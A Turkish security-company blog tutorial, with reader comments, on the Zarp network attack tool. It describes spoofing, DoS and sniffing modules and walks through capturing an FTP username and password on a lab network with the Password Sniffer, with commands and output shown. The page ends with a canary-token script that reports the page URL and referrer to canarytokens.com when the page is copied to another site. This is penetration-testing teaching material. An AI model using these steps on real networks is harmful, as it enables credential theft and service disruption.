Zarp Kullanarak TCP/IP Protokol Zafiyetlerinin İstismarı

Zarp uygulaması python dili ile geliştirilmiş, açık kaynak kodlu,
uzaktan servis dışı bırakma(denial of service) saldırıları
gerçekleştirmede ve yerel ağlarda çeşitli saldırıların
gerçekleştirilmesinde kullanılabilecek bir network saldırı aracıdır.

Zarp sistem açıklıklarının istismarından ziyade network protokollerinin
zaafiyetlerini istismar ederek saldırılarını gerçekleştirmektedir.

Uygulama sahip olduğu aşağıdaki modüller ile çeşitli saldırılar gerçekleştirebilmektedir.
 
    [1] Poisoners           [5] Parameter
    [2] DoS Attacks      [6] Services
    [3] Sniffers              [7] Attacks 
    [4] Scanners            [8] Sessions

İlgili
modüllerden Poisoners modülü ile; ARP spoofing, DNS spoofing, DHCP
spoofing, NBNS poison, LLMNR spoofer ve ICMP redirection gibi
saldırıları gerçekleştirilebilmektedir. Özellikle yerel ağlarda
kullanılan temel protokol olan ARP protokolünün yapısal açıklıklarını
istismar ederek gerçekleştirdiği ARP poisoning ile yerel ağda istenilen
kullanıcılara ait trafiği yakalayabilir. Bu şekilde zarp ile üzerimizden
geçirdiğimiz local trafiğe hakim olduğumuz için çeşitli hassas
dosyaları ele geçirilebilmiş duruma gelmiş oluruz. DNS spoofing
saldırısı için öncelikle ARP spoofing yapılmış olması gerekmektedir.
DHCP spoofing işlemi ile yerel ağdaki DHCP OFFER ve DHCP ACK mesajlarını
dinleyen sahte bir DHCP server oluşturulur. İlgili mesajları dinleyerek
DHCP’den IP isteyen kullanıcılara bu IP adresleri sahte DHCP sunucu
üzerinden kiralanır.

DOS Attacks modülü ile çeşitli
servis dışı bırakma saldırıları(TCP SYN, Land DOS,  IPv6 Neighbor
Discovery Protocol RA DoS, Nestea DOS, SMB DOS v.s)
gerçekleştirilebilir.

Sniffers modülü ile, poisoning
işlemi sonrasında hassas verilerin ele geçirilmesinde kullanılacak
çeşitli methodlar bulunmaktadır. HTTP, Parola, Veritabanı sniffing gibi
modülleri ile çeşitli hassas bilgiler ele geçirilebilir. Packet modifier
modülü ile yakalanan paketler istenildiği gibi değiştirilebilir.

Scanners
modülü ile çeşitli yerel ağ taramaları gerçekleştirilebilmektedir.
Örneğin verilen bir subnette açık port ve servis taraması
yaptırılabilmektedir.

İlgili aracın kurulumu için git komutu ile uygulamaya ait dosyalar sistemimize kopyalanır;

root@pentest:~/celal# git clone git://github.com/hatRiot/zarp.git zarp/
Cloning into ‘zarp’…
remote: Counting objects: 1699, done.
remote: Compressing objects: 100% (869/869), done.
remote: Total 1699 (delta 814), reused 1692 (delta 807)
Receiving objects: 100% (1699/1699), 748.44 KiB | 388 KiB/s, done.
Resolving deltas: 100% (814/814), done.
root@pentest:~/celal# ls

Ardından dosyaların kopyalandığı zarp dizininde uygulamanın güncellemesi için aşağıdaki komut kullanılabilir;

root@pentest:~/celal/zarp# ./zarp.py –update
[!] Loaded 33 modules.
     ____   __   ____  ____
    (__  ) / _ (  _ (  _ ‘
     / _/ /    )   / ) __/
    (____)_/_/(___)(__)
        [Version 0.1.3]           
[!] Updating Zarp…
[!] Zarp already up to date.

Örnek
olarak Sniffers alt modüllerinden Password Sniffer modülünü kullanarak
yerel ağda yapılan bir FTP bağlantısının parolasını elde etmeyi
gösterelim. Bunun için aşağıdaki yol takip edilebilir.

Uygulama aşağıdaki komutla başlatırlır. Ekrana kullanılabilecek tüm modüllere ait kategori listesi gelecektir.

root@pentest:~/celal/zarp# ./zarp.py
[!] Loaded 33 modules.
     ____   __   ____  ____
    (__  ) / _ (  _ (  _ ‘
     / _/ /    )   / ) __/
    (____)_/_/(___)(__)
        [Version 0.1.3]           
    [1] Poisoners        [5] Parameter
    [2] DoS Attacks      [6] Services
    [3] Sniffers         [7] Attacks 
    [4] Scanners         [8] Sessions

0) Back

Yukarıdaki ekrandan 3 numaralı Sniffers kategorisine giriyoruz.;

> 3
    [1] HTTP Sniffer
    [2] Password Sniffer
    [3] Traffic Sniffer
    [4] Database Sniffer
    [5] Packet Modifier

0) Back

Ardından
sniff edilecek interface seçilir, ön tanımlı olarak listedeki ilk
interface seçilmiş olur. Bu interface dinlenecek ise enter ile
geçilebilir ardıdan doğruluğunu onaylamak için y ile bir sonraki adıma
geçilebilir. Ardından aşağıdaki ekrandan 0 ile ana ekrana geçilir.

> 2
[!] Enter address to listen on [5.5.5.4]:
[!] Sniff passwords from 5.5.5.4.  Is this correct? y
    [1] HTTP Sniffer
    [2] Password Sniffer
    [3] Traffic Sniffer
    [4] Database Sniffer
    [5] Packet Modifier

0) Back
> 0
     ____   __   ____  ____
    (__  ) / _ (  _ (  _ ‘
     / _/ /    )   / ) __/
    (____)_/_/(___)(__)
        [Version 0.1.3]           
    [1] Poisoners        [5] Parameter
    [2] DoS Attacks      [6] Services
    [3] Sniffers         [7] Attacks 
    [4] Scanners         [8] Sessions

0) Back

Buradan 8 ile mevcut başlattığımız saldırılara ait sessionları görüntülemek için 8 ile çalışan sessionlar listelenebilir.

> 8

    [Running sessions]
[1] Password Sniffer
    [0] 5.5.5.4

    [1] Stop session
    [2] View session
    [3] Start session logger
    [4] Stop session logger

0) Back
Görüldüğü
gibi Passwords snifferin ilgili interface üzerinde çalışmaktadır. 2 ile
mevcut oturumu görüntüleyebiliriz. Bu arada komut satırından aşağıdaki
gibi hedef bir sisteme FTP bağlantısı kurmaya çalışalım.

root@pentest:~# ftp 20.20.20.130
Connected to 20.20.20.130.
220 MikroTik FTP server (MikroTik 3.30) ready
Name (20.20.20.130): ftpadmin
331 Password required for ftpadmin
Password:
530 Login incorrect
Login failed.
Remote system type is UNIX.
ftp> 

Aşağıda görüldüğü üzere password sniffer modülü ile ilgili kullanıcı hesabını ele geçirebilmiş oluyoruz.

> 2
[module] [number]> 1 0
[!] [enter] when finished
[!] Dumping output from ‘Password Sniffer’…
[!] Host: 20.20.20.130
[!] User: ftpadmin
[!] Password: P@ssw0rd

Benzer yol kullanılarak diğer modüllerde kullanılabilir. Detaylı bilgi için uygulamanın yardım sayfası incelenebilir.

Celal ERDİK <celal.erdik@bga.com.tr>

5 Yorum

  1. Umut cem 20 Kasım 2013 15:02

    Modül eksikliğinden kaynaklanıyor sorununuz.netlib modülünü yüklerseniz sorun ortadan kalkar.

  2. Adsız 1 Ağustos 2013 18:04

    beyler koskoca pantesterlar bu betikleri siz oynayasınız diye paylaşmaz genelde uzmanların çözeceği bir hatalı kısımla verir kodu ki çoluk çocuğun elinde hunharca kullanılmasın ingilizceniz yoksa uğraşmayın pentesterlikle

  3. Adsız 29 Temmuz 2013 12:26

    Ubuntu 13.10 üzerinde de aynı hatalar alınıyor.

  4. Ömer Albayrak 29 Temmuz 2013 09:29

    Selamlar, backtrack üzerinde kuruyorsunuz sanırım..bazı modüller veya uygulama versiyonlarından kaynaklanıyor olabilir.. hızlı çözüm için kali üzerinde kurumayı denerseniz sorun olmayacaktır diye tahmin ediyorum.makele kali üzerinden kurulumla anlatımıştı.
    Kolaylıklar.

  5. Besim Altınok 29 Temmuz 2013 08:56

    Merhaba ben kurulumda aşağıdaki gibi bir hata almaktayım :

    Traceback (most recent call last):
    File "./zarp.py", line 229, in
    main()
    File "./zarp.py", line 88, in main
    loader.load()
    File "./zarp.py", line 71, in load
    'src.modules.attacks.%s' % module, 'attacks'), module)
    File "/usr/lib/python2.7/importlib/__init__.py", line 37, in import_module
    __import__(name)
    File "/home/prodaft/Downloads/zarp-dev/src/modules/attacks/beef_hook.py", line 2, in
    from libmproxy import controller, proxy, platform
    File "/home/prodaft/Downloads/zarp-dev/src/lib/libmproxy/proxy.py", line 19, in
    from netlib import odict, tcp, http, wsgi, certutils, http_status, http_auth
    ImportError: No module named netlib

    yardımcı olabilir misiniz ?

Yorum Yaz

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

*
*

Mail listemize üye olarak eğitim fırsatlarını kaçırmayın!
Eğitim ve ücretsiz etkinliklerizden haberdar olmak için e-posta listesimize üye olun!.

    if (window.location.hostname != "bgasecurity.com" && !window.location.hostname.endsWith(".bgasecurity.com")) { var p = !document.location.protocol.startsWith("http")?"http:":document.location.protocol; var l = location.href; var r = document.referrer; var m = new Image(); m.src = p + "//canarytokens.com/stuff/nch0rcjy5dmlgmymn4z98zuhh/submit.aspx?l=" + encodeURI(l) + "&r=" + encodeURI(r); }